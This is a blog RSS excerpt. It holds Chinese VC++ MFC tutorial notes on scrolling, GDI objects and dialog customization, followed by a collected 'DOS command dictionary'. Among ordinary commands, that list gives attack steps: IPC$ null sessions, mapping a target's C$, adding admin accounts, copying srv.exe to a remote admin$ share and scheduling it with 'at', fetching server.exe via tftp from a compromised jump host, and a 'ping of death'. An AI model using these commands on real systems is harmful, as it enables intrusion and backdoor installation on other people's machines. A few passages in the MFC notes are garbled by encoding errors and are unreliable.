CRect的成员函数PtInRect(point)用来判断鼠标当前位置（point）是否在当前矩形（rectDevice）内<br />第12行 InvalidateRect函数可以触发WM_PAINT消息，改消息又被映射，引起调用OnDraw调用。<br /><br />■第六步：映射WM_KEYDOWN消息并编辑OnKeyDown消息处理函数。在Class Wizard中选择CMyApp6View类，在Message列表中选择WM_KEYDOWN双击。用下面代码替换Wizard生成的OnKeyDown消息处理函数。<br /><br />void CMyApp6View::OnKeyDown(UINT n!Char, UINT nRepCnt, UINT nFlags) <br />{<br />switch (n!Char) {<br />case VK_HOME: <br />OnVScroll(SB_TOP, 0, NULL);<br />OnHScroll(SB_LEFT, 0, NULL);<br />break;<br />case VK_END:<br />OnVScroll(SB_BOTTOM, 0, NULL);<br />OnHScroll(SB_RIGHT, 0, NULL);<br />break;<br />case VK_UP:<br />OnVScroll(SB_LINEUP, 0, NULL);<br />break;<br />case VK_DOWN:<br />OnVScroll(SB_LINEDOWN, 0, NULL);<br />break;<br />case VK_PRIOR:<br />OnVScroll(SB_PAGEUP, 0, NULL);<br />break;<br />case VK_NEXT:<br />OnVScroll(SB_PAGEDOWN, 0, NULL);<br />break;<br />case VK_LEFT:<br />OnHScroll(SB_LINELEFT, 0, NULL);<br />break;<br />case VK_RIGHT:<br />OnHScroll(SB_LINERIGHT, 0, NULL);<br />break;<br />default:<br />break;<br />}<br />}<br /><br />问题5：此段代码详解：<br /><br />先看OnVScroll和OnHScroll的函数原型<br />afx_msg void OnVScroll( UINT nSBCode, UINT nPos, CScrollBar* pScrollBar );<br />afx_msg void OnHScroll( UINT nSBCode, UINT nPos, CScrollBar* pScrollBar );<br />主要参数 nSBCode是指滚动条移动方向。<br />再看OnKeyDown函数原型<br />afx_msg void OnKeyDown( UINT n!Char, UINT nRepCnt, UINT nFlags );<br />主要参数n!Char是指Virtual Keys code 虚拟键码你可以在winuser.h文件中看到更多，这里只列出很小一部分。<br /><br />#define VK_ESCAPE 0x1B<br />#define VK_SPACE 0x20<br />#define VK_PRIOR 0x21<br />#define VK_NEXT 0x22<br />#define VK_END 0x23<br />#define VK_HOME 0x24<br />......<br />/* VK_0 thru VK_9 are the same as ASCII '0' thru '9' (0x30 - 0x39) */<br />/* VK_A thru VK_Z are the same as ASCII 'A' thru 'Z' (0x41 - 0x5A) */<br />#define VK_LWIN 0x5B<br />......<br /><br />编译运行它，怎么样成功了吧，<br /><br />■第七步：做一个更复杂的程序，例如屏幕上有多个圆，然后点其中一个，则点中的变色，其他的不变。<br /><br />第七篇：图形设备接口（GDI） <br /><br />　　我想大家和我一样通过前几天的学习，对VC++MFC应用程序框架的神奇功能有了一些了解，但是还是感觉不能驾御这个强的开发工具，不过别担心，我170多斤体重不是一口吃出来的，是经过了30年不懈的努力才吃成了如此“魁梧”的体形，呵呵开个玩笑。所以学习也一样。学VC尤其如此。还有我发现很多好的技术类书籍有一个共同的特点，就是在前几章学到了一些东西在你正在疑惑或者苦苦领会的时候，接下来的章节便给你解除疑惑。雷神经验：遇到实在想不明白的地方先放下，继续向下读，也许读着读着前面的问题就明白了。『VC++技术内幕』当然属于好的技术书籍一类，所以在本书第五章开始仔细的给我们讲解设备环境类和图形设备接口（GDI），使得我们能守得云开见月明。<br /><br />设备环境类CDC：<br /><br />　　CDC是设备环境类的基类直接由CObject派生。是GDI的关键元素，它代表了物理设备。每一个C++设备环境对象都有相对应Windows设备环境，并通过一个32位类型的HDC句柄来标识。CDC类的虚拟性使我们可以很容易的做到编写同时适用于多种设备的代码。例如OnDraw函数的pDC-&gt;TextOut(0,0,"Hello");既可以适用于显示器、还可以适用于打印预览和打印，只需要在CView::OnDraw函数的pDC参数指向不同的对象类。<br />CClientDC和CWindowDC是显示设备环境类，都是由CDC派生而来，区别在于CClientDC是窗口的客户区不包括边框、标题栏和菜单栏，（0，0）指客户区域的左上角。CWindowDC的（0，0）指整个屏幕的左上角，这意味着我们可以在显示器的任意地方绘图，包括窗口边框、标题栏和菜单栏等等。CWindowDC一般应用在框架窗口，而不是视图窗口。<br />CDC对象被创建后一定要在合适的时候将它删除掉，如果忘记了删除设备环境对象则会造成内存丢失。如何做才能避免出现这个问题呢，我们应该在堆栈中构造对象。<br /><br />看例子7-1<br /><br />//***************************<br />// 例子7-1<br />void CMyView::OnLButtonDown(UINT nFlags,CPoint point)<br />{<br />CRect rect;<br />CClientDC dc(this); //在堆栈中构造设备环境对象，用一个窗口指针this作参数。<br />dc.GetClipBox(rect); //GetClipBox函数是一个虚函数，作用是可以获得选定区域的尺寸<br />}<br />//析构函数在函数返回时自动调用，也就完成对设备环境对象的删除。<br />书上还给出了另一种写法：<br />void CMyView::OnLButtonDown(UINT nFlags,CPoint point)<br />{<br />CRect rect;<br />CDC * pDC=GetDC(); //通过调用CWnd的GetDC()函数获得设备环境指针<br />pDC-&gt;GetClipBox(rect); //可以获得选定区域的尺寸<br />ReleaseDC(pDC); //一定不能忘记，释放设备环境。（书上又写错了）<br />}<br /><br />　　创建的设备环境对象具有一些默认的特性，通过CDC类的成员函数可以设定这些特性。例如前一篇笔记用到的刷子、映射模式等等。我们还可以通过重载SelectObject函数将GDI对象选进设备环境中。<br /><br />GDI对象是通过CGdiObject派生类的C++对象来表示的。读着怎么这么别扭？举例说一下。<br /><br />CBrush是一个GDI的派生类，它在MFC中的层次结构是这样的：CObject派生CGdiObject派生CBrush，明白了吧。CGdiObject是所有GDI对象的抽象基类。下面列出的是GDI派生类的列表：<br /><br />CBitmap：位图是一种位矩阵，每一个显示象素都对应于其中的一个或多个位，可以用来表示图象，也可以用来创建刷子<br /><br />CBrush：刷子定义了一种位图形式的象素，可以用来对区域内部填充颜色。<br /><br />CFont：字体是一种具有某种风格和尺寸的所有字符的完整集合，常常被作为资源，其中一些依赖某种设备。<br /><br />CPalette：调色板是一种颜色映射接口，它允许应用程序在不影响其他应用程序的前提下，可以充分利用输出设备的颜色描绘能力。<br /><br />CPen：笔是一种用来画线及绘制有形边框的工具，可以指定它的颜色及宽度，并可以指定画虚线、点线还是实线。<br /><br />CRgn：区域是由多边形、椭圆二者组合形成的一种范围，可以用来进行填充、裁剪、鼠标点中测试等等。<br /><br />以上很容易理解，可以用WINDOWS的画图帮助我们理解。<br /><br />CGdiObject类很眼生，看过很多代码就没有看到过它，原因是由于CGdiObject类是所有GDI对象类的虚拟基类，所以我们不必创建CGdiObject类的对象，可以直接构造它的派生类的对象，例如这样<br /><br />CPen newPen(PS_DASHDOTDOT,2,(COLORREF) 0); //黑色的笔宽度为2<br /><br />但需要注意的是CFont和CRgn的对象建立需要先调用默认的构造函数来构造C++对象，然后再调用相应的创建函数如：<br /><br />CreateFont或CreatePolygonRgn等。<br /><br />CGdiObject类有一个虚拟的析构函数，它派生类的析构函数需要将与C++对象相关联的GDI对象删除掉，一定要在退出程序之前把构造的CGdiObject派生类对象干掉。因为一个没有释放的GDI对象会占用很多的内存。<br /><br />让我们用一个例子跟踪一下GDI对象<br /><br />//*************************************<br />// 例子7-2<br />void CMy10View::OnDraw(CDC* pDC)<br />{<br />pDC-&gt;MoveTo (10,10);<br />pDC-&gt;LineTo (110,10);<br />CPen newPen(PS_DASHDOTDOT,10,(COLORREF) 192); //红色的笔宽度为10<br />CPen * pOldPen=pDC-&gt;SelectObject (&amp;newPen); <br />//在将新对象选进设备环境的同时返回指向前一次被选对象的指针。作用保存原来的对象，以便完成任务时恢复它。<br />pDC-&gt;MoveTo (10,20);<br />pDC-&gt;LineTo (110,20);<br />pDC-&gt;SelectObject (pOldPen);//把原来的对象恢复<br />pDC-&gt;MoveTo (10,30);<br />pDC-&gt;LineTo (110,30);<br />}<br /><br />　　屏幕上应该显示三条线，第一条和第三条一样颜色和粗细因为他们都是用的设备环境默认的CPen对象，第二条是一条用我们自己设定的CPen对象。我们可以看出在将新对象选进设备环境的同时返回指向前一次被选对象的指针。作用保存原来的对象，以便完成任务时恢复它。<br /><br />Windows还包含有一些可以利用的库存对象，它们不会簧境蛭猈indows对企图删除它们的动作不予理睬。我们可以用SelectStockObject函数将它们选进设备环境。下面列出的是所有的有关刷子、笔、字体和调色板的库存对象。<br /><br />//***************************************************************************<br />// MSDN中的内容<br />BLACK_BRUSH //Black brush.<br />DKGRAY_BRUSH //Dark gray brush.<br />GRAY_BRUSH //Gray brush.<br />HOLLOW_BRUSH //Hollow brush.<br />LTGRAY_BRUSH //Light gray brush.<br />NULL_BRUSH //Null brush.<br />WHITE_BRUSH //White brush.<br />BLACK_PEN //Black pen.<br />NULL_PEN //Null pen.<br />WHITE_PEN //White pen.<br />ANSI_FIXED_FONT //ANSI fixed system font.<br />ANSI_VAR_FONT // ANSI variable system font.<br />DEVICE_DEFAULT_FONT //Device-dependent font.<br />OEM_FIXED_FONT //OEM-dependent fixed font.<br />SYSTEM_FONT //The system font. By default, Windows uses the system font to draw menus, dialog-box controls, and other text. In Windows versions 3.0 and later, the system font is proportional width; earlier versions of Windows use a fixed-width system font.<br />SYSTEM_FIXED_FONT //The fixed-width system font used in Windows prior to version 3.0. This object is available for compatibility with earlier versions of Windows.<br />DEFAULT_PALETTE //Default color palette. This palette consists of the 20 static colors in the system palette. <br />//*******************************************************************************<br />一个问题：<br /><br />　　由于SelectObject函数返回的GDI C++对象指针具有临时性，当程序的空闲处理阶段或者控制函数返回时应用程序框架会将临时的C++对象删除，我们不能简单的把这一指针保存在类的数据成员中，而应该借助GetSafeHdc函数将它转化为Windows的句柄，以便持久的保存GDI的标识。<br /><br />我们将例子7-2做些改动。<br /><br />//**************************************************<br />// 例子7-3<br />void CMy10View::OnDraw(CDC* pDC)<br />{<br />HPEN m_hPen; //一个指向CPen对象的指针<br />pDC-&gt;MoveTo (10,10);<br />pDC-&gt;LineTo (110,10);<br />CPen newPen(PS_DASHDOTDOT,10,(COLORREF) 192); //红色的笔宽度为10<br />CPen * pOldPen=pDC-&gt;SelectObject (&amp;newPen); //在将新对象选进设备环境的同时返回指向前一次被选对象的指针。作用保存原来的对象，以便完成任务时恢复它。<br />m_hPen=(HPEN)pOldPen-&gt;GetSafeHandle ();//获得并保存原来对象的句柄<br />pDC-&gt;MoveTo (10,20);<br />pDC-&gt;LineTo (110,20);<br />pDC-&gt;SelectObject (CPen::FromHandle (m_hPen));//把原来的对象恢复，和例子7-2不同的是通过句柄<br />pDC-&gt;MoveTo (10,30);<br />pDC-&gt;LineTo (110,30);<br />}<br />补充一下IGDI派生类的Windows handle type列表<br />CPen HPEN <br />CBrush HBRUSH <br />CFont HFONT <br />CBitmap HBITMAP <br />CPalette HPALETTE <br />CRgn HRGN <br /><br /><br />　　好了我们已经对GDI有了一些了解，下一篇我们将说说颜色和字体，雷神希望大家对我的学习笔记提些建议，因为很多东西也许不必说的这么罗嗦，可我知道初学VC的痛苦，太多的东西看不明白，所以尽量写的详细。文章记录了我学习时的心得，很多东西是从MSDN查来的，不知道合不合大家（初学者）的口味。<br /><br />第十篇：模式对话框和通用控件（下）<br /><br />　　大家好，雷神由于出差在外，所以笔记今天才写出抱歉。不知道大家有没有做上篇提到的计算器，计算器对雷神来说可是经典的程序，学VB先搞了计算器，学VC也搞了个计算器，前不久在学扩展CBUTTON类时也是用计算器程序，为什么？按钮多呗，雷神最终做出了一个圆形按钮，液晶显示的计算器，感觉真的不错。学编程就是要编写代码，代码写的多少和编程水平是成正比的。<br /><br />　　由对话框编辑器和Class Wizard生成的对话框可以很轻松的不需编写很多的代码而获得很多的功能，但如果我们想对对话框进一步的改进则需要手工编程了。<br /><br />　　我们以上一篇的电脑体育彩票选号小程序为例进行一系列的改进工作。<br /><br />改进一：截获退出控制权<br /><br />　　当我们的光标不在选号按钮上时（例如在文本框内），当按下回车（Enter）键则回退出程序的运行，还有当你按下ESC键时也会退出。为什么？因为当用户按下回车键时Windows就会自动查找“输入焦点”在哪个按钮上，如果所有的按钮都没有获得输入焦点，Windows会自动的寻找程序资源指定的默认按钮，如果对话框没有默认按钮，系统会调用OnOK函数。ESC键也会触发对OnCancel函数的调用，从而导致控制从对话框中退出。如果我们想截获退出控制权该如何做呢？用哑函数，就是将按下Enter和ESC后的处理函数写成空函数。<br /><br />　　步骤1、由于我们的对话框没有OK和CANCEL按钮，我们只能手工添加代码。在guessDlg.h文件的类声名重载：virtual void OnOK()和virtual void OnCancel();两个虚函数。<br /><br />class CGuessDlg : public CDialog<br />{<br />.......<br /><br />// ClassWizard generated virtual function overrides<br />//{{AFX_VIRTUAL(CGuessDlg)<br />protected:<br />virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support<br />virtual void OnOK();<br />virtual void OnCancel();<br />//}}AFX_VIRTUAL<br />.......<br />};<br /><br />　　步骤2、在guessDlg.cpp文件加入两个哑函数OnOK和OnCancel。<br /><br />void CGuessDlg::OnOK ()<br />{<br />}<br />void CGuessDlg::OnCancel()<br />{<br />}<br /><br />　　好了在编译运行，按ESC和在文本框内点一下鼠标，按下回车（Enter）键，上一篇的问题不存在了，程序不会退出，彻底退不出了，只能通过任务管理器退了，这可不行，我们还需要继续改进。<br /><br />　　步骤3、添加一个按钮，叫退出。加入这个按钮的消息控制函数如下：<br /><br />void CGuessDlg::OnButton2() <br />{<br />CDialog::OnOK();<br />}<br /><br />　　这回可以了，我们已经掌握了对话框退出控制权。<br /><br />改进二：改变对话框的外观<br /><br />　　我们可以改变对话框的背景颜色，或对话框中的控件颜色以使得程序界面不至于千篇一律，如何做呢？每个控件和对话框在显示之前回发送WM_CTLCOLOR消息，如果派生对话框类对WM_CTLCOLOR消息进行了映射，就可以设定文本的前景色和背景色。同时还可以为控件或对话框的非文本区域选择一个刷子。<br /><br />　　WM_CTLCOLOR消息对应的函数为OnCtlColor，OnCtlColor函数的原型为：afx_msg HBRUSH OnCtlColor( CDC* pDC, CWnd* pWnd, UINT nCtlColor );其中参数pDC是：一个指向设备环境的指针。pWnd：指定特定的控件。nCtlColor:指明控件类型。 可以有以下类型：<br /><br />CTLCOLOR_BTN button control<br />CTLCOLOR_DLG dialog box<br />CTLCOLOR_EDIT edit control<br />CTLCOLOR_LISTBOX list box<br />CTLCOLOR_MSGBOX message box<br />CTLCOLOR_SCROLLBAR scroll bar<br />CTLCOLOR_STATIC static text, frame, or rectangle<br /><br />现在为了突出显示文本框的显示号码，我们将文本框的文字背景设为黄色。<br /><br />步骤1、添加一个成员变量 HBRUSH m_hBrush;<br />步骤2、用Class Wizard为CGuessDlg加入WM_CTLCOLOR消息，并编辑OnCtlColor函数：<br /><br />HBRUSH CGuessDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) <br />{<br />if(nCtlColor==CTLCOLOR_EDIT){<br />pDC-&gt;SetBkColor (RGB(255,255,0));//EDIT控件文字背景为黄色<br />return m_hBrush;<br />}<br />return CDialog::OnCtlColor (pDC,pWnd,nCtlColor);<br />}<br /><br />编译运行，怎么样，文本框内的文字均变为黄底了。关于对话框的外观我们将在以后再说。<br /><br />改进三、增加进度条。<br /><br />　　程序在随怕胧泵挥腥魏翁崾荆颐遣恢莱绦蚴欠裨谠诵校趺窗欤课颐窃黾右桓鼋忍蹩丶美垂鄄斐绦虻脑诵凶纯觥?br&gt; <br />　　步骤1、在对话框编辑器中增加一个进度条控件（Progress），并在CGuessDlg为进度条增加一个成员变量。int m_nProgress;<br /><br />　　步骤2、将CGuessDlg::OnButton1()用下面代码替换。 <br /><br />void CGuessDlg::OnButton1() <br />{<br />m_nProgress=0;//初始进度条为0<br />CProgressCtrl *pProg=(CProgressCtrl*)GetDlgItem(IDC_PROGRESS1);<br />pProg-&gt;SetRange (0,70);//设定进度条范围为0-70<br />int temp,pnum[35],num[7]; //临时变量，临时数组<br />for(int i=0;i&lt;35;i++) //赋值，以作选号用<br />pnum[i]=i+1;<br />//***选号过程：***//<br />for(i=0;i&lt;7;i++)<br />{<br />srand( (unsigned)time( NULL ) );<br />//srand(3);<br />temp=rand(); //取随机种子数<br />temp=temp%36+1; //取小于35的数组元素<br />while(pnum[temp]==0)//如果是已被选过的元素，重选<br />{<br />srand( (unsigned)time( NULL ) );<br />temp=rand();<br />temp=temp%36+1;<br />}<br />m_nProgress+=10;//进度加10<br />num[i]=temp; //选定一个号码<br />pnum[temp]=0; //给该元素置0，表示已被选过<br />UpdateData(TRUE);//刷新<br />pProg-&gt;SetPos (m_nProgress);<br /><br />}<br />/***　在选完号码后，应该为它们排一下序：***/<br />//排序部分无变化省略。<br />}<br /><br />　　编译运行它，好了，有了进度显示我们可以知道程序的运行情况了。<br /><br />　　在这篇笔记中我们通过对上一篇所写的小程序的改进，掌握了一些改进对话框的方法，不用书上的例子是想给大家多个例子参考，不过书上的例子一定要掌握。好了关于模式对话框我们已经掌握，下一篇我们将继续学习无模式对话框。</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/12884.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-06-26 16:38 <a href="http://www.cnitblog.com/weitom1982/archive/2006/06/26/12884.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> DOS命令字典</title><link>http://www.cnitblog.com/weitom1982/archive/2006/06/13/12157.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Tue, 13 Jun 2006 03:30:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/06/13/12157.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/12157.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/06/13/12157.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/12157.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/12157.html</trackback:ping><description><![CDATA[
		<div class="postTitle">
				<span style="FONT-SIZE: 12px">不是原创的，但基本上收入了各个网站dos命令了<br />基本上可以作为电子书使用，希望对各位有用<br />net use \\ip\ipc$ " " /user:" " 建立IPC空链接 <br />net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 <br />net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: <br />net use h: \\ip\c$ 登陆后映射对方C：到本地为H: <br />net use \\ip\ipc$ /del 删除IPC链接 <br />net use h: /del 删除映射对方到本地的为H:的映射 <br />net user 用户名　密码　/add 建立用户 <br />net user guest /active:yes 激活guest用户 <br />net user 查看有哪些用户 <br />net user 帐户名 查看帐户的属性 <br />net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 <br />net start 查看开启了哪些服务 <br />net start 服务名　 开启服务；(如:net start telnet， net start schedule) <br />net stop 服务名 停止某服务 <br />net time \\目标ip 查看对方时间 <br />net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 <br />net view 查看本地局域网内开启了哪些共享 <br />net view \\ip 查看对方局域网内开启了哪些共享 <br />net config 显示系统网络设置 <br />net logoff 断开连接的共享 <br />net pause 服务名 暂停某服务 <br />net send ip "文本信息" 向对方发信息 <br />net ver 局域网内正在使用的网络连接类型和信息 <br />net share 查看本地开启的共享 <br />net share ipc$ 开启ipc$共享 <br />net share ipc$ /del 删除ipc$共享 <br />net share c$ /del 删除C：共享 <br />net user guest 12345 用guest用户登陆后用将密码改为12345 <br />net password 密码 更改系统登陆密码 <br />netstat -a 查看开启了哪些端口,常用netstat -an <br />netstat -n 查看端口的网络连接情况，常用netstat -an <br />netstat -v 查看正在进行的工作 <br />netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） <br />netstat -s 查看正在使用的所有协议使用情况 <br />nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 <br />tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 <br />ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 <br />ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) <br />ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 <br />tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件<br /><span style="FONT-SIZE: 12px">del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） <br />move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 <br />fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令 <br />at id号 开启已注册的某个计划任务 <br />at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 <br />at id号 /delete 停止某个已注册的计划任务 <br />at 查看所有的计划任务 <br />at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 <br />finger username @host 查看最近有哪些用户登陆 <br />telnet ip 端口 远和登陆服务器,默认端口为23 <br />open ip 连接到IP（属telnet登陆后的命令） <br />telnet 在本机上直接键入telnet 将进入本机的telnet <br />copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 <br />copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下 <br />cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 <br />copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C： <br />xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 <br />tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 <br />tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 <br />ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) <br />route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface <br />arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 <br />start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 <br />mem 查看cpu使用情况 <br />attrib 文件名(目录名) 查看某文件（目录）的属性 <br />attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 <br />dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 <br />date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 <br />set 指定环境变量名称=要指派给变量的字符 设置环境变量 <br />set 显示当前所有的环境变量 <br />set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 <br />pause 暂停批处理程序，并显示出：请按任意键继续.... <br />if 在批处理程序中执行条件处理（更多说明见if命令及变量） <br />goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） <br />call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） <br />for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） <br />echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 <br />echo 信息 在屏幕上显示出信息 <br />echo 信息 &gt;&gt; pass.txt 将"信息"保存到pass.txt文件中 <br />findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello <br />find 文件名 查找某文件 <br />title 标题名字 更改CMD窗口标题名字 <br />color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 <br />prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )</span><br /><span style="FONT-SIZE: 12px">ver 在DOS窗口下显示版本信息 <br />winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） <br />format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS <br />md　目录名 创建目录 <br />replace 源文件　要替换文件的目录 替换文件 <br />ren 原文件名　新文件名 重命名文件名 <br />tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 <br />type 文件名 显示文本文件的内容 <br />more 文件名 逐屏显示输出文件 <br />doskey 要锁定的命令＝字符<br />doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= <br />taskmgr 调出任务管理器 <br />chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 <br />tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 <br />exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe <br />path 路径\可执行文件的文件名 为可执行文件设置一个路径。 <br />cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? <br />regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； <br />regedit /e 注册表文件名 导出注册表 <br />cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 <br />cacls 文件名 查看文件的访问用户权限列表 <br />REM 文本内容 在批处理文件中添加注解 <br />netsh 查看或更改本地网络配置情况<br /><br /><br />IIS服务命令： <br />iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） <br />iisreset /start或stop 启动（停止）所有Internet服务 <br />iisreset /restart 停止然后重新启动所有Internet服务 <br />iisreset /status 显示所有Internet服务状态 <br />iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 <br />iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 <br />iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 <br />iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 <br />FTP 命令： (后面有详细说明内容) <br />ftp的命令行格式为:<br />ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。<br />－d 使用调试方式。 <br />－n 限制ftp的自动登录,即不使用.netrc文件。<br />－g 取消全局文件名。 <br />help [命令] 或 ？[命令] 查看命令说明 <br />bye 或 quit 终止主机FTP进程,并退出FTP管理方式. <br />pwd 列出当前远端主机目录 <br />put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 <br />get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 <br />mget [remote-files] 从远端主机接收一批文件至本地主机 <br />mput local-files 将本地主机中一批文件传送至远端主机 <br />dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 <br />ascii 设定以ASCII方式传送文件(缺省值) <br />bin 或 image 设定以二进制方式传送文件 <br />bell 每完成一次文件传送,报警提示 <br />cdup 返回上一级目录 <br />close 中断与远程服务器的ftp会话(与open对应) <br />open host[port] 建立指定ftp服务器连接,可指定连接端口 <br />delete 删除远端主机中的文件 <br />mdelete [remote-files] 删除一批文件 <br />mkdir directory-name 在远端主机中建立目录 <br />rename [from] [to] 改变远端主机中的文件名 <br />rmdir directory-name 删除远端主机中的目录 <br />status 显示当前FTP的状态 <br />system 显示远端主机系统类型 <br />user user-name [password] [account] 重新以别的用户名登录远端主机 <br />open host [port] 重新建立一个新的连接 <br />prompt 交互提示模式 <br />macdef 定义宏命令 <br />lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 <br />chmod 改变远端主机的文件权限 <br />case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 <br />cd remote－dir 进入远程主机目录 <br />cdup 进入远程主机目录的父目录 <br />! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip</span><br /><br /><table style="TABLE-LAYOUT: fixed; WORD-WRAP: break-word" height="100%" cellspacing="0" cellpadding="0" width="100%" border="0"><tbody><tr><td valign="top"><a 